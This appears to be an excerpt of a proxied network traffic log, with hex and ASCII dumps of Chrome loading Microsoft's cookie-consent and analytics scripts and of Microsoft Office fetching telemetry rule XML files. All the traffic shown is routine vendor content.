2024-11-20 16:42:05 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-20 16:42:05 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-20 16:42:05 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-20 16:42:05 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49821	13.107.246.63	443	6380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:04 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 16:42:04 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:04 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 34590 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4aa39486-701e-007b-0f1a-3b6206000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T164204Z-r1d97b9957744xz5hC1TEB5bf80000000930000000002hx7 Accept-Ranges: bytes
2024-11-20 16:42:04 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 16:42:04 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-20 16:42:04 UTC	82	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" +
2024-11-20 16:42:04 UTC	16384	IN	Data Raw: 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 Data Ascii: label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:focus::before {\n border: 1px solid "+e["radio-button-hover-border
2024-11-20 16:42:04 UTC	4196	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 29 3a 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 63 61 6c 6c 28 65 29 7d 29 29 7d 2c 65 2e 63 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4d 53 43 43 22 2c 65 Data Ascii: .length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventListener(t,o):e.attachEvent("on"+t,(function(){o.call(e)}))},e.cookieName="MSCC",e

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:04 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164204Z-185f5d8b95csp6jmhC1NYCwy6s0000000ah000000000650e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:04 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:05 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:05 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164205Z-1777c6cb754n67brhC1TEBcp9c00000009z0000000007stp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:05 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:06 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:06 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164206Z-r1d97b99577d6qrbhC1TEBux5s000000094g00000000ud97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:06 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:06 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:06 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164206Z-r1d97b99577hc74hhC1TEBvbns000000091g000000005523 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:06 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:06 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:06 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:06 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164206Z-1777c6cb754xrr98hC1TEB3kag00000009t0000000003qh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:06 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:06 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164207Z-1777c6cb754dqb2khC1TEBmk1s00000009q000000000y045 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" 